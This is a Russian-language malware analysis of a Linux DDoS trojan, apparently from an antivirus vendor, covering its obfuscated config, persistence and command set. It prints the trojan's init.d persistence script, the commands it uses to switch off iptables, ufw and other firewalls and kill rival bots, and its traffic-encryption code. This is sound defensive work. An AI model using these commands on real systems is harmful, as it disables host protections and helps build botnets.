Троянец, предназначенный для организации DDoS-атак, разработан для операционных систем семейства Linux китайскими вирусописателями. Одной из отличительных особенностей является способность к отключению брандмауэра. Конфигурационный файл троянца обфусцирован, при этом алгоритм деобфускации выглядит следующим образом:
def decrypt(data):
out = array('B')
for i in range(len(data)):
if ((data[i] > 0x20) and (data[i] != 0x7F)):
if (i % 3 == 1):
out.append(data[i]-1)
else:
out.append(data[i]+1)
return out
Конфигурационный файл содержит:
- адрес управляющего сервера;
- порт управляющего сервера;
- имя файла для установки;
- путь для установки.
Расшифровав конфигурационный файл, троянец проверяет наличие в системе собственного запущенного процесса, и в случае его обнаружения завершает свою работу. В процессе установки создает файл "/etc/init.d/%proc_name%", где имя файла, под которым он устанавливается в систему, берется из конфигурационного файла. В файл записываются следующие данные:
#!/bin/bash\n# chkconfig: 2345 77 37\n# description: Open%proc_name% server daemon\nsetsid
%install_path% &\nexit\n
где %proc_name% и %install_path% - соответствующие параметры из конфигурационного файла.
Далее копирует себя по указанному в конфигурационном файле пути и запускает установленную копию, после чего удаляет исходный файл.
В завершение установки создает симлинки и запускает службу:
ln -s /etc/init.d/%proc_name% /etc/rc2.d/S77%proc_name%
ln -s /etc/init.d/%proc_name% /etc/rc3.d/S77%proc_name%
ln -s /etc/init.d/%proc_name% /etc/rc4.d/S77%proc_name%
ln -s /etc/init.d/%proc_name% /etc/rc5.d/S77%proc_name%
service %proc_name% start
/etc/init.d/%proc_name%
Запустившись в инфицированной системе, троянец инициирует отдельный процесс, который отслеживает работоспособность своей копии, запущенной из директории, в которую он должен был установиться. Если процесс обнаружить не удается, троянец запускает его заново.
Раз в 1000 секунд вредоносная программа выполняет следующие действия с целью отключения брандмауэра и для завершения процессов других DDoS-троянцев:
system("chkconfig --level 0123456 iptables off > /dev/null");
system("chkconfig --level 0123456 ip6tables off > /dev/null");
system("systemctl stop iptables.service > /dev/null");
system("service iptables stop > /dev/null");
system("/etc/init.d/iptables stop > /dev/null");
system("reSuSEfirewall2 stop > /dev/null");
system("SuSEfirewall2 stop > /dev/null");
system("service ebtables stop > /dev/null");
system("/etc/init.d/ebtables stop > /dev/null");
system("ufw disable > /dev/null");
system("netstat -anp | grep \":6009\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
/dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":60003\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
/dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":8092\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
/dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":8991\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
/dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":10991\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
/dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":10992\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
/dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":10993\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
/dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":3040\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
/dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":37368\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
/dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":10771\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
/dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":34921\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
/dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":7600\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
/dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":199099\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
/dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":19009\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
/dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":1818\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
/dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":57707\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
/dev/null ;free -m > /dev/null");
sleep(10);
system("rm -f /boot/IptabLes ; rm -f /boot/.IptabLes ; rm -f /boot/IptabLex ;
rm -f /boot/.IptabLex ; rm -f /usr/IptabLes ; rm -f /usr/.IptabLes ; rm -f /usr/IptabLex ;
rm -f /usr/.IptabLex");
system("netstat -anp | grep \"IptabLes\" |awk '{print $NF}' |cut -d \"/\" -f 1 |
xargs kill -9 > /dev/null ;free -m > /dev/null");
system("netstat -anp | grep \"IptabLex\" |awk '{print $NF}' |cut -d \"/\" -f 1 |
xargs kill -9 > /dev/null ;free -m > /dev/null");
Далее троянец запускает два процесса, один из которых отправляет злоумышленникам данные о загрузке CPU, а второй — ожидает входящие команды от управляющего сервера. Первым пакетом троянец отправляет злоумышленникам информацию об инфицированной системе:
#pragma pack(push,1)
struct st_online
{
char gap[64]; //0x00
_BYTE cpuinfo[128];
char meminfo[32];
char osver[32];
char version[32]; //"LZ32"
_DWORD dword120; //0x00
_DWORD bIsStopDDOS;
};
#pragma pack(pop)
Все данные, передаваемые от управляющего сервера троянцу, транслируются без шифрования, в то время как исходящий трафик шифруется:
int __cdecl EnBuffer(_BYTE *data, int size, unsigned __int8 key)
{
int result; // eax@3
char v4; // [sp+13h] [bp-9h]@1
int i; // [sp+14h] [bp-8h]@1
v4 = key % 254 + 1;
for ( i = 0; ; ++i )
{
result = i;
if ( i >= size )
break;
data[i] ^= v4;
data[i] += v4;
}
return result;
}
Вредоносная программа способна выполнять следующие команды:
- начать DDoS-атаку (SYN Flood);
- начать DDoS-атаку (UDP Flood);
- начать DDoS-атаку (DNS Flood);
- начать DDoS-атаку (HTTP Flood);
- начать DDoS-атаку (TCP Flood);
- остановить DDoS-атаку;
- скачать и запустить файл;
- удалить себя из системы;
- выполнить обновление троянца;
- запустить Remote Shell;
- сохранить данные из команды в файл "/.v8cf" или отправить его содержимое на сервер.